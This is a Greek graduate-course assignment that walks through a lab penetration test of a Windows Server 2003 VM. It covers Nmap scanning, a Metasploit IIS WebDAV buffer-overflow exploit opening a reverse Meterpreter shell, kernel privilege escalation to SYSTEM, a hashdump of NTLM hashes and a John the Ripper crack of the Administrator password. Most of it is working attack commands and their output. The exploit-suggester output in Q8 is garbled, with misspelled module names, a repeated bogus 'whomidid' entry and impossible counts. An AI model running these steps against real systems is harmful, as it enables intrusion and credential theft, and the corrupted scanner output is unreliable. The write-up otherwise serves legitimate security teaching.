

Πανεπιστήμιο Πειραιώς
Τμήμα Ψηφιακών Συστημάτων
ΜΠΣ «Κυβερνοασφάλεια και Τεχνολογίες Τεχνητής Νοημοσύνης»

Αποτίμηση Ασφάλειας και Ηθικό Χάκινγκ
Χειμερινό Εξάμηνο 2025-2026
Εργασία 3



Καλαϊτζίδης Ιωάννης

Email: ioannis_kalaitzidis@ssl-unipi.gr

Εισαγωγή

Βασικός σκοπός της παρούσας εργασίας ήταν η προσομοίωση μιας πλήρους δοκιμής διείσδυσης (Penetration Test) σε ελεγχόμενο περιβάλλον. Ως στόχος επιλέχθηκε ένα σύστημα με λειτουργικό Windows Server 2003, το οποίο αποτελεί χαρακτηριστικό παράδειγμα απαρχαιωμένου λογισμικού (Legacy System) που φέρει γνωστές ευπάθειες, με την επίθεση να πραγματοποιείται από μηχάνημα Kali Linux ακολουθώντας πιστά τα στάδια της αλυσίδας κυβερνοεπιθέσεων (Cyber Kill Chain). Συγκεκριμένα, η διαδικασία εκκίνησε με τη φάση της συλλογής πληροφοριών και σάρωσης μέσω του εργαλείου Nmap για την ανακάλυψη του στόχου και των εκτελούμενων υπηρεσιών, οδηγώντας στην ανάλυση ευπαθειών και τον εντοπισμό κρίσιμων κενών ασφαλείας στην υπηρεσία IIS 6.0 WebDAV. Στη συνέχεια, πραγματοποιήθηκε η εκμετάλλευση του συστήματος με χρήση του Metasploit Framework για την εκτέλεση κώδικα εξ αποστάσεως (RCE), η οποία ακολουθήθηκε από την κλιμάκωση δικαιωμάτων, αναβαθμίζοντας την πρόσβαση από απλό χρήστη σε επίπεδο διαχειριστή συστήματος (SYSTEM) μέσω εκμετάλλευσης ευπάθειας στον πυρήνα. Η διαδικασία ολοκληρώθηκε με το στάδιο της εκμετάλλευσης, όπου πραγματοποιήθηκε εξαγωγή και αποκρυπτογράφηση των κωδικών πρόσβασης με το εργαλείο John the Ripper. Η εργασία αυτή αναδεικνύει στην πράξη τη σημασία της ασφάλειας πληροφοριακών συστημάτων και τους κινδύνους που προκύπτουν από τη μη επαρκή συντήρηση και αναβάθμιση των εταιρικών υποδομών.

Πρακτικό κομμάτι εργασίας

Q1: Perform initial IP discovery of the windows machine with nmap.

Απάντηση:

Προκειμένου να εντοπίσουμε τη διεύθυνση IP του συστήματος-στόχου (Windows), είναι απαραίτητο αρχικά να προσδιορίσουμε το τοπικό δίκτυο στο οποίο ανήκει η μηχανή επίθεσης. Στη συνέχεια, διενεργούμε σάρωση ολόκληρου του υποδικτύου για τον εντοπισμό των ενεργών κόμβων και την ταυτοποίηση του στόχου.

```
(kali@kali)-[~]
$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
   link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
   inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
   inet6 ::1/128 scope host noprefixroute
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
   link/ether 00:0c:29:fe:e8:b5 brd ff:ff:ff:ff:ff:ff
   inet 192.168.30.129/24 brd 192.168.30.255 scope global dynamic noprefixroute eth0
       valid_lft 1544sec preferred_lft 1544sec
   inet6 fe80::36ed:f8e6:63b6:348c/64 scope link noprefixroute
       valid_lft forever preferred_lft forever
3: br-480f97c7b15a: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default
   link/ether 02:42:8b:de:29:9a brd ff:ff:ff:ff:ff:ff
   inet 172.18.0.1/16 brd 172.18.255.255 scope global br-480f97c7b15a
       valid_lft forever preferred_lft forever
4: docker0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default
   link/ether 02:42:64:f2:d5:6e brd ff:ff:ff:ff:ff:ff
   inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
       valid_lft forever preferred_lft forever
```

Παρατηρούμε ότι η IP του Kali Linux είναι: 192.168.30.129

Άρα το δίκτυο μας είναι το 192.168.30.0

```
(kali㉿kali)-[~]  
$ nmap -sn 192.168.30.0/24  
Starting Nmap 7.95 ( https://nmap.org ) at 2026-01-19 11:50 EST  
Nmap scan report for 192.168.30.1  
Host is up (0.0016s latency).  
MAC Address: 00:50:56:C0:00:08 (VMware)  
Nmap scan report for 192.168.30.2  
Host is up (0.00086s latency).  
MAC Address: 00:50:56:F0:19:62 (VMware)  
Nmap scan report for 192.168.30.132  
Host is up (0.00056s latency).  
MAC Address: 00:0C:29:7D:BF:CF (VMware)  
Nmap scan report for 192.168.30.254  
Host is up (0.00072s latency).  
MAC Address: 00:50:56:F5:73:9A (VMware)  
Nmap scan report for 192.168.30.129  
Host is up.  
Nmap done: 256 IP addresses (5 hosts up) scanned in 2.08 seconds
```

Από την ανάλυση των αποτελεσμάτων της σάρωσης δικτύου, εντοπίστηκαν πέντε ενεργοί κόμβοι. Η διεύθυνση 192.168.30.129 αντιστοιχεί στη δική μας μηχανή επίθεσης (Kali Linux), ενώ οι διευθύνσεις 192.168.30.1, 192.168.30.2 και 192.168.30.254 αποτελούν μέρος της υποδομής εικονικοποίησης του VMware και εξαιρούνται από τη διαδικασία ελέγχου. Συνεπώς, η διεύθυνση **192.168.30.132** ταυτοποιείται ως η μοναδική άγνωστη συσκευή στο τοπικό υποδίκτυο, υποδεικνύοντας ότι πρόκειται για το Guest VM του στόχου (Windows Server 2003) στο οποίο θα επικεντρωθεί η επίθεση.

Q2: Detect open ports

Απάντηση:

```

(kali㉿kali)-[~]
$ nmap -p- 192.168.30.132
Starting Nmap 7.95 ( https://nmap.org ) at 2026-01-19 11:57 EST
Nmap scan report for 192.168.30.132
Host is up (0.0018s latency).
Not shown: 65530 closed tcp ports (reset)
PORT      STATE SERVICE
80/tcp    open  http
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
1025/tcp  open  NFS-or-IIS
MAC Address: 00:0C:29:7D:BF:CF (VMware)

Nmap done: 1 IP address (1 host up) scanned in 21.57 seconds

```

Μετά την ταυτοποίηση του στόχου στη διεύθυνση 192.168.30.132, προχωρήσαμε σε σάρωση όλων των θυρών TCP (0-65535) για να χαρτογραφήσουμε πλήρως την επιφάνεια επίθεσης. Η σάρωση αποκάλυψε πέντε ανοιχτές θύρες, με σημαντικότερες τη θύρα 80 (HTTP) και τη θύρα 445 (Microsoft-DS), οι οποίες συχνά φιλοξενούν ευάλωτες υπηρεσίες. Συγκεκριμένα εντοπίστηκαν:

- **80/tcp-HTTP**
- **135/tcp-MSRPC**
- **139/tcp-NetBIOS-SSN**
- **445/tcp-Microsoft-DS**
- **1025/tcp-NFS-or-IIS**

Q3: Discover the running services and their version and the operating system.

Απάντηση:

```

(kali@kali)-[~]
$ nmap -sV -O 192.168.30.132
Starting Nmap 7.95 ( https://nmap.org ) at 2026-01-19 12:28 EST
Nmap scan report for 192.168.30.132
Host is up (0.0016s latency).
Not shown: 995 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
80/tcp    open  http         Microsoft IIS httpd 6.0
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds Microsoft Windows 2003 or 2008 microsoft-ds
1025/tcp  open  msrpc        Microsoft Windows RPC
MAC Address: 00:0C:29:7D:BF:CF (VMware)
Device type: general purpose
Running: Microsoft Windows 2003|XP
OS CPE: cpe:/o:microsoft:windows_server_2003 cpe:/o:microsoft:windows_xp
OS details: Microsoft Windows Server 2003 SP1 or SP2 or Windows XP SP1
Network Distance: 1 hop
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_server_2003

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.63 seconds

```

Η εκτέλεση της σάρωσης με ενεργοποιημένη την ανίχνευση εκδόσεων (-sV) και λειτουργικού συστήματος (-O) μας παρέιχε τα απαραίτητα δεδομένα για την κατάλληλη επιλογή της επίθεσης. Το σύστημα αναγνωρίστηκε ως **Windows Server 2003** (SP1 ή SP2), ένα λειτουργικό σύστημα που δεν υποστηρίζεται πλέον (**Legacy**). Το πιο κρίσιμο εύρημα, ωστόσο, είναι η ύπαρξη του **Microsoft IIS httpd 6.0** στη **θύρα 80**. Η συγκεκριμένη έκδοση του Web Server είναι γνωστό ότι πάσχει από σοβαρές ευπάθειες υπερχειλίσης μνήμης (buffer overflow), γεγονός που την καθιστά τον πρωταρχικό στόχο για την απόκτηση αρχικής πρόσβασης στο σύστημα.

Q4: Detect vulnerabilities with nmap. Search also in the Internet for a buffer overflow vulnerability for one of the running services in the windows machine. Write down the CVE numbers.

Απάντηση:


```

(kali@kali)-[~]
$ nmap --script vuln 192.168.30.132
Starting Nmap 7.95 ( https://nmap.org ) at 2026-01-19 13:05 EST
Nmap scan report for 192.168.30.132
Host is up (0.0020s latency).
Not shown: 995 closed tcp ports (reset)
PORT      STATE SERVICE
80/tcp    open  http
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
1025/tcp  open  NFS-or-IIS
MAC Address: 00:0C:29:7D:BF:CF (VMware)

Host script results:
|_smb-vuln-ms10-061: NT_STATUS_OBJECT_NAME_NOT_FOUND
|_smb-vuln-ms17-010:
|   VULNERABLE:
|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|   State: VULNERABLE
|   IDs: CVE:CVE-2017-0143
|   Risk factor: HIGH
|   A critical remote code execution vulnerability exists in Microsoft SMBv1
|   servers (ms17-010).
|
|   Disclosure date: 2017-03-14
|   References:
|   https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|   https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
|   https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
|_smb-vuln-ms10-054: false
|_smb-vuln-ms08-067:
|   VULNERABLE:
|   Microsoft Windows system vulnerable to remote code execution (MS08-067)
|   State: VULNERABLE
|   IDs: CVE:CVE-2008-4250
|   The Server service in Microsoft Windows 2000 SP4, XP SP2 and SP3, Server 2003 SP1 and SP2,
|   Vista Gold and SP1, Server 2008, and 7 Pre-Beta allows remote attackers to execute arbitrary
|   code via a crafted RPC request that triggers the overflow during path canonicalization.
|
|   Disclosure date: 2008-10-23
|   References:
|   https://technet.microsoft.com/en-us/library/security/ms08-067.aspx
|   https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4250
|_
Nmap done: 1 IP address (1 host up) scanned in 148.53 seconds

```

Η σάρωση ευπαθειών με το Nmap (**--script vuln**) αποκάλυψε σοβαρά κενά ασφαλείας στην υπηρεσία SMB (Server Message Block-πρωτόκολλο επικοινωνίας δικτύου). Συγκεκριμένα, το σύστημα βρέθηκε ευάλωτο στις επιθέσεις **MS17-010** με κωδικό **CVE-2017-0143** και **MS08-067** με κωδικό **CVE-2008-4250**, αμφότερες επιτρέποντας απομακρυσμένη εκτέλεση κώδικα (RCE).

Επιπλέον, κατόπιν έρευνας στο διαδίκτυο για την υπηρεσία **Microsoft IIS 6.0** που εντοπίστηκε στη θύρα 80, βρέθηκε η ευπάθεια **CVE-2017-7269**. Πρόκειται για μια ευπάθεια υπερχειρίσης μνήμης (Buffer Overflow) στο IIS 6.0. Εκμεταλλευόμενος αυτό το κενό, ένας επιτιθέμενος μπορεί να αποκτήσει τον έλεγχο του server εξ αποστάσεως, στέλνοντας απλώς ένα ειδικά διαμορφωμένο αίτημα HTTP.

Q5: One of the vulnerabilities discovered in the previous question allows RCE but does not result in SYSTEM privileges (you need privilege escalation separately) because it exploits a running service running under NETWORK SERVICE privileges. This vulnerability is related with the buffer overflow in one of the running services in the windows machine. Find the exploit path for that vulnerability in Metasploit. Write down the exploit metasploit module.

Απάντηση:

```
msf > search CVE-2017-7269

Matching Modules

#  Name                                     Disclosure Date  Rank  Check  Description
#  ----                                     -
#  exploit/windows/iis/iis_webdav_scstoragepathfromurl 2017-03-26      manual Yes   Microsoft IIS WebDav ScStoragePathFromUrl Overflow

Interact with a module by name or index. For example info 0, use 0 or use exploit/windows/iis/iis_webdav_scstoragepathfromurl

msf > use exploit/windows/iis/iis_webdav_scstoragepathfromurl
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf exploit(windows/iis/iis_webdav_scstoragepathfromurl) > show options

Module options (exploit/windows/iis/iis_webdav_scstoragepathfromurl):

Name          Current Setting  Required  Description
----          -
MAXPATHLENGTH 60               yes       End of physical path brute force
MINPATHLENGTH 3                yes       Start of physical path brute force
Proxies       /               no        A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS        /               yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT         80              yes       The target port (TCP)
SSL           false           no        Negotiate SSL/TLS for outgoing connections
TARGETURI     /               yes       Path of IIS's web application
VHOST         /               no        HTTP server virtual host

Payload options (windows/meterpreter/reverse_tcp):

Name          Current Setting  Required  Description
----          -
EXITFUNC      process          yes       Exit technique (Accepted: '', seh, thread, process, none)
LHOST         192.168.30.129  yes       The listen address (an interface may be specified)
LPORT         4444             yes       The listen port

Exploit target:

Id  Name
--  ---
0   Microsoft Windows Server 2003 R2 SP2 x86

View the full module info with the info, or info -d command.
```

Για να προετοιμάσουμε την επίθεση, ακολουθήσαμε τα εξής βήματα μέσα στο **Metasploit Framework**:

1. Αρχικά, δώσαμε την εντολή **search CVE-2017-7269**. Ξέραμε από το προηγούμενο βήμα τον κωδικό της ευπάθειας (CVE). Με αυτή την εντολή ρωτήσαμε το Metasploit αν διαθέτει κάποιο έτοιμο εργαλείο (exploit module) ειδικά φτιαγμένο για να «σπάσει» την ασφάλεια στο IIS 6.0.
2. Αφού το Metasploit βρήκε το κατάλληλο εργαλείο, δώσαμε την εντολή **use exploit/windows/iis/iis_webdav_scstoragepathfromurl**. Με αυτή την εντολή «φορτώσαμε» το συγκεκριμένο exploit στη μνήμη του προγράμματος, ώστε να είναι ενεργό και έτοιμο προς χρήση.

3. Τέλος, δώσαμε την εντολή **show options**. Πριν επιτεθούμε, πρέπει να δούμε ποιες παραμέτρους απαιτεί το exploit για να λειτουργήσει σωστά.

Πλέον, το εργαλείο είναι «οπλισμένο» και το μόνο που απομένει είναι να ρυθμίσουμε τις IP (στόχου και επιτιθέμενου) για να εκτελέσουμε την επίθεση.

Q6: Perform the exploit found in step 5 (be patient to open the shell). If you selected the correct exploit, the opened meterpreter shell must be running under NETWORK SERVICE privileges and not SYSTEM.

Απάντηση:

```
msf exploit(windows/iis/iis_webdav_scstoragepathfromurl) > set RHOSTS 192.168.30.132
RHOSTS => 192.168.30.132
msf exploit(windows/iis/iis_webdav_scstoragepathfromurl) > set LHOST 192.168.30.129
LHOST => 192.168.30.129
msf exploit(windows/iis/iis_webdav_scstoragepathfromurl) > set AutoRunScript post/windows/manage/migrate
AutoRunScript => post/windows/manage/migrate
msf exploit(windows/iis/iis_webdav_scstoragepathfromurl) > set EXITFUNC thread
EXITFUNC => thread
msf exploit(windows/iis/iis_webdav_scstoragepathfromurl) > run
[*] Started reverse TCP handler on 192.168.30.129:4444
[*] Trying path length 3 to 60 ...
[*] Sending stage (188998 bytes) to 192.168.30.132
[*] Session ID 2 (192.168.30.129:4444 -> 192.168.30.132:1026) processing AutoRunScript 'post/windows/manage/migrate'
[*] Running module against STUDENT-ACFE96C (192.168.30.132)
[*] Current server process: rundll32.exe (2304)
[*] Spawning notepad.exe process to migrate into
[*] Spoofing PPID 0
[*] Migrating into 2572
[+] Successfully migrated into process 2572
[*] Meterpreter session 2 opened (192.168.30.129:4444 -> 192.168.30.132:1026) at 2026-01-19 15:51:05 -0500

meterpreter > getuid
Server username: NT AUTHORITY\NETWORK SERVICE
meterpreter > 
```

Η διαδικασία εκμετάλλευσης της ευπάθειας **CVE-2017-7269** απαιτούσε ειδική διαχείριση λόγω της γνωστής αστάθειας που προκαλεί η υπερχειλίση μνήμης στην υπηρεσία IIS. Για να αποτρέψουμε τον κίνδυνο κατάρρευσης της αρχικής διεργασίας (rundll32.exe) και την απώλεια της σύνδεσης, εφαρμόσαμε μια προληπτική στρατηγική σταθεροποίησης μέσω της εντολής **set AutoRunScript post/windows/manage/migrate**. Η συγκεκριμένη εντολή διαμόρφωσε το exploit ώστε, αμέσως μόλις επιτευχθεί η διείσδυση (πριν καν προλάβει να κρασάρει η υπηρεσία), να εκτελεστεί αυτόματα ο μηχανισμός «μετεγκατάστασης». Ως αποτέλεσμα, το Metasploit δημιούργησε μια νέα, ασφαλή διεργασία (notepad.exe με PID 2572) και μετέφερε τη συνεδρία μας εκεί, εξασφαλίζοντας μια μόνιμη και σταθερή σύνδεση με τον στόχο. Τέλος, για την επιβεβαίωση της επιτυχούς πρόσβασης, εκτελέσαμε την εντολή **getuid**, η οποία πιστοποίησε ότι το κέλυφος λειτουργεί πλέον υπό τα δικαιώματα του χρήστη **NT AUTHORITY\NETWORK SERVICE**.

Q7: Execute systeminfo to identify the target machine

Απάντηση:

```
meterpreter > shell
Process 2532 created.
Channel 1 created.
Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.

c:\windows\system32\inetsrv>system info
system info
'system' is not recognized as an internal or external command,
operable program or batch file.

c:\windows\system32\inetsrv>systeminfo
systeminfo

Host Name:                STUDENT-ACFE96C
OS Name:                  Microsoft(R) Windows(R) Server 2003, Standard Edition
OS Version:               5.2.3790 Service Pack 2 Build 3790
OS Manufacturer:         Microsoft Corporation
OS Configuration:        Standalone Server
OS Build Type:             Uniprocessor Free
Registered Owner:         student
Registered Organization:
Product ID:                69712-783-0120004-44675
Original Install Date:     11/14/2021, 1:35:41 PM
System Up Time:            0 Days, 0 Hours, 1 Minutes, 33 Seconds
System Manufacturer:       VMware, Inc.
System Model:              VMware Virtual Platform
System Type:               X86-based PC
Processor(s):              1 Processor(s) Installed.
                           [01]: x86 Family 26 Model 96 Stepping 0 AuthenticAMD ~1997 Mhz
BIOS Version:              INTEL - 6040000
Windows Directory:         C:\WINDOWS
System Directory:          C:\WINDOWS\system32
Boot Device:               \Device\HarddiskVolume1
System Locale:              en-us;English (United States)
Input Locale:               en-us;English (United States)
Time Zone:                 (GMT+02:00) Athens, Beirut, Istanbul, Minsk
Total Physical Memory:     1,023 MB
Available Physical Memory: 799 MB
Page File: Max Size:       2,470 MB
Page File: Available:      2,327 MB
Page File: In Use:         143 MB
Page File Location(s):     C:\pagefile.sys
Domain:                    WORKGROUP
Logon Server:               N/A
Hotfix(s):                 1 Hotfix(s) Installed.
                           [01]: Q147222
Network Card(s):           N/A

meterpreter > █
```

Αφού εξασφάλισαμε σταθερή πρόσβαση στο σύστημα, προχωρήσαμε σε αναγνώριση του λειτουργικού περιβάλλοντος για να εντοπίσουμε πιθανά μονοπάτια κλιμάκωσης δικαιωμάτων (Privilege Escalation). Μέσω της εντολής **systeminfo** στη γραμμή εντολών, επιβεβαιώσαμε ότι το σύστημα-στόχος είναι ένας **Microsoft Windows Server 2003, Standard Edition με εγκατεστημένο το Service Pack 2 (SP2) σε αρχιτεκτονική x86**. Η συγκεκριμένη έκδοση είναι γνωστό ότι είναι ευάλωτη σε διάφορα kernel exploits.

Q8: Now we have to gain SYSTEM rights. Use Metasploit exploit suggester (post/multi/recon/local_exploit_suggester)

Απάντηση:

```
meterpreter > background
[*] Backgrounding session 4...
msf exploit(windows/local/whomidid) > use post/multi/recon/local_exploit_suggester
msf post(multi/recon/local_exploit_suggester) > set SESSION 4
SESSION = 4
msf post(multi/recon/local_exploit_suggester) > run
[*] 192.168.30.132 - Collecting local exploits for x86/windows ...
/usr/share/metasploit-framework/lib/rex/proto/ldap.rb:13: warning: already initialized constant Net::LDAP::WhoamiId
/usr/share/metasploit-framework/vendor/bundle/ruby/3.3.0/gems/net-ldap-0.20.0/lib/net/ldap.rb:344: warning: previous definition of WhoamiId was here
[*] 192.168.30.132 - 125 exploit checks are being tried...
[*] 192.168.30.132 - exploit/windows/local/ms16_015_kitzz00d: The service is running, but could not be validated.
[*] 192.168.30.132 - exploit/windows/local/ms16_098_track_popup_menu: The target appears to be vulnerable.
[*] 192.168.30.132 - exploit/windows/local/ms16_070_tcpip_local: The target appears to be vulnerable.
[*] 192.168.30.132 - exploit/windows/local/ms15_051_client_copy_image: The target appears to be vulnerable.
[*] 192.168.30.132 - exploit/windows/local/ms16_016_wbxdav: The service is running, but could not be validated.
[*] 192.168.30.132 - exploit/windows/local/ms16_075_reflection: The target appears to be vulnerable.
[*] 192.168.30.132 - exploit/windows/local/gpr_flatten_rec: The target appears to be vulnerable.
[*] Running check method for exploit 47 / 42
[*] 192.168.30.132 - Valid modules for session 4:
```

#	Name	Potentially Vulnerable?	Check Result
1	exploit/windows/local/ms16_015_kitzz00d	yes	The service is running, but could not be validated.
2	exploit/windows/local/ms16_098_track_popup_menu	yes	The target appears to be vulnerable.
3	exploit/windows/local/ms16_070_tcpip_local	yes	The target appears to be vulnerable.
4	exploit/windows/local/ms15_051_client_copy_image	yes	The target appears to be vulnerable.
5	exploit/windows/local/ms16_016_wbxdav	yes	The service is running, but could not be validated.
6	exploit/windows/local/ms16_075_reflection	yes	The target appears to be vulnerable.
7	exploit/windows/local/gpr_flatten_rec	yes	The target appears to be vulnerable.
8	exploit/windows/local/whomidid	no	The target is not vulnerable.
9	exploit/windows/local/whomidid	no	The target is not vulnerable.
10	exploit/windows/local/whomidid	no	The target is not vulnerable.
11	exploit/windows/local/whomidid	no	The target is not vulnerable.
12	exploit/windows/local/whomidid	no	The target is not vulnerable.
13	exploit/windows/local/whomidid	no	The target is not vulnerable.
14	exploit/windows/local/whomidid	no	The target is not vulnerable.
15	exploit/windows/local/whomidid	no	The target is not vulnerable.
16	exploit/windows/local/whomidid	no	The target is not vulnerable.
17	exploit/windows/local/whomidid	no	The target is not vulnerable.
18	exploit/windows/local/whomidid	no	The target is not vulnerable.
19	exploit/windows/local/whomidid	no	The target is not vulnerable.
20	exploit/windows/local/whomidid	no	The target is not vulnerable.
21	exploit/windows/local/whomidid	no	The target is not vulnerable.
22	exploit/windows/local/whomidid	no	The target is not vulnerable.
23	exploit/windows/local/whomidid	no	The target is not vulnerable.
24	exploit/windows/local/whomidid	no	The target is not vulnerable.
25	exploit/windows/local/whomidid	no	The target is not vulnerable.
26	exploit/windows/local/whomidid	no	The target is not vulnerable.
27	exploit/windows/local/whomidid	no	The target is not vulnerable.

```

[*] Post module execution completed
msf post(multi/recon/local_exploit_suggester) >

```

Με στόχο την απόκτηση δικαιωμάτων διαχειριστή (SYSTEM), χρησιμοποιήσαμε το εργαλείο **post/multi/recon/local_exploit_suggester**. Το συγκεκριμένο module ελέγχει το σύστημα

για ελλείψεις σε updates και ευπάθειες στον πυρήνα (kernel vulnerabilities). Η σάρωση εμφάνισε υψηλή πιθανότητα επιτυχίας για αρκετά exploits. Συγκεκριμένα, εντοπίστηκαν ως υποψήφια modules για Privilege Escalation τα εξής:

- **exploit/windows/local/ms10_015_kitrap0d**
 - **exploit/windows/local/ms14_058_track_popup_menu**
 - exploit/windows/local/ms14_070_tcpip_ioctl
 - exploit/windows/local/ms15_051_client_copy_image
 - exploit/windows/local/ms16_016_webdav
 - exploit/windows/local/ms16_075_reflection
 - exploit/windows/local/ppr_flatten_rec
- } Q9-Υποψήφια modules για privilege escalation

Αυτά τα ευρήματα επιβεβαιώνουν ότι το σύστημα είναι ευάλωτο σε τοπικές επιθέσεις κλιμάκωσης δικαιωμάτων.

Q9: At least 2 different exploits will work and make you SYSTEM (i.e., privilege escalation). Test them one by one by configuring their options (e.g., set session 1). Write down which exploit you used eventually to become root.

Απάντηση:

```
msf post(multi/recon/local_exploit_suggester) > use exploit/windows/local/ms10_015_kitrap0d
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf exploit(windows/local/ms10_015_kitrap0d) > set SESSION 4
SESSION => 4
msf exploit(windows/local/ms10_015_kitrap0d) > set LHOST 192.168.30.129
LHOST => 192.168.30.129
msf exploit(windows/local/ms10_015_kitrap0d) > set LPORT 4445
LPORT => 4445
msf exploit(windows/local/ms10_015_kitrap0d) > run
[*] Started reverse TCP handler on 192.168.30.129:4445
[*] Reflectively injecting payload and triggering the bug...
[*] Launching msiexec to host the DLL...
[+] Process 2664 launched.
[*] Reflectively injecting the DLL into 2664...
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
[*] Sending stage (188998 bytes) to 192.168.30.132
[*] Meterpreter session 5 opened (192.168.30.129:4445 -> 192.168.30.132:1027) at 2026-01-19 18:24:21 -0500

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > 
```



```

msf exploit(windows/local/ms10_015_kitrap0d) > use exploit/windows/local/ms14_058_track_popup_menu
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf exploit(windows/local/ms14_058_track_popup_menu) > set SESSION 5
SESSION => 5
msf exploit(windows/local/ms14_058_track_popup_menu) > run
[*] Started reverse TCP handler on 192.168.30.129:4444
[-] Exploit aborted due to failure: none: Session is already elevated
[*] Exploit completed, but no session was created.
msf exploit(windows/local/ms14_058_track_popup_menu) > set SESSION 4
SESSION => 4
msf exploit(windows/local/ms14_058_track_popup_menu) > set LPORT 4446
LPORT => 4446
msf exploit(windows/local/ms14_058_track_popup_menu) > run
[*] Started reverse TCP handler on 192.168.30.129:4446
[*] Reflectively injecting the exploit DLL and triggering the exploit ...
[*] Launching netsh to host the DLL ...
[*] Process 2920 launched.
[*] Reflectively injecting the DLL into 2920 ...
[*] Sending stage (188998 bytes) to 192.168.30.132
[*] Exploit finished, wait for (hopefully privileged) payload execution to complete.
[*] Meterpreter session 6 opened (192.168.30.129:4446 -> 192.168.30.132:1028) at 2026-01-19 18:47:08 -0500

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >

```

Στο πλαίσιο της διαδικασίας κλιμάκωσης δικαιωμάτων (Privilege Escalation) και αξιοποιώντας τα ευρήματα του Local Exploit Suggester, προχωρήσαμε στη δοκιμή δύο διαφορετικών modules που υπέδειξε το σύστημα ως κατάλληλα.

Αρχικά, επιλέξαμε το module **exploit/windows/local/ms10_015_kitrap0d**. Το συγκεκριμένο exploit εκμεταλλεύεται τη γνωστή ευπάθεια «KiTrap0D» στον πυρήνα των Windows, επιτρέποντας την εκτέλεση κώδικα με ανώτατα δικαιώματα. Ρυθμίσαμε την παράμετρο SESSION ώστε να στοχεύσει την αρχική συνεδρία χαμηλών δικαιωμάτων (**Session 4**) και ορίσαμε τη θύρα υποδοχής set **LPORT 4445**. Η επίθεση ολοκληρώθηκε με επιτυχία, ανοίγοντας τη συνεδρία **Meterpreter 5** με δικαιώματα SYSTEM.

Στη συνέχεια, δοκιμάσαμε και το module **exploit/windows/local/ms14_058_track_popup_menu**. Εφαρμόσαμε τις ίδιες ρυθμίσεις στόχευσης (**Session 4**), αλλά ορίσαμε μια νέα θύρα (set **LPORT 4446**) για να αποφύγουμε διενέξεις με την προηγούμενη σύνδεση. Η εκτέλεση ήταν επίσης επιτυχής, δημιουργώντας τη νέα συνεδρία **Meterpreter 6** με δικαιώματα SYSTEM.

Διαπιστώνοντας ότι και τα δύο exploits λειτούργησαν αποτελεσματικά στο σύστημα-στόχο, επιλέξαμε να προχωρήσουμε στη φάση της «εκμετάλλευσης» και την ανάκτηση των κωδικών πρόσβασης, αξιοποιώντας την πρώτη ενεργή συνεδρία (Session 5).

Q10: Verify that the new meterpreter shell that just opened has SYSTEM (root) rights. Now try to crack the administrator's password. What is the password?

Απάντηση:

```
meterpreter > hashdump
Administrator:500:ac804745ee68ebea1aa818381e4e281b:3008c87294511142799dca1191e69a0f:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
IUSR_STUDENT-ACFE96C:1003:e05d9dff7e9bfffacc047b71d01a673c2:1db601af54c2eb6835271763aa874518:::
IWAM_STUDENT-ACFE96C:1004:69cabe1b153b5482bf37c0504e7c7f18:c4e5e94539ff198530890bb3c8972727:::
SUPPORT_388945a0:1001:aad3b435b51404eeaad3b435b51404ee:a12bde0303cf8b3d6331f04c7a59524c:::
meterpreter >

zsh: corrupt history file /home/kali/.zsh_history
(kali@kali)-[~]
$ echo 3008c87294511142799dca1191e69a0f > hash.txt

(kali@kali)-[~]
$ john --format=NT hash.txt --show
Created directory: /home/kali/.john
0 password hashes cracked, 1 left

(kali@kali)-[~]
$ john --format=NT hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (NT [MD4 512/512 AVX512BW 16x3])
Warning: no OpenMP support for this hash type, consider --fork=4
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst
Proceeding with incremental:ASCII
admin123 (?)
1g 0:00:00:13 DONE 3/3 (2026-01-19 18:32) 0.07541g/s 30109Kp/s 30109Kc/s 30109KC/s adv2kkle..admietia
Use the "--show --format=NT" options to display all of the cracked passwords reliably
Session completed.

(kali@kali)-[~]
$
```

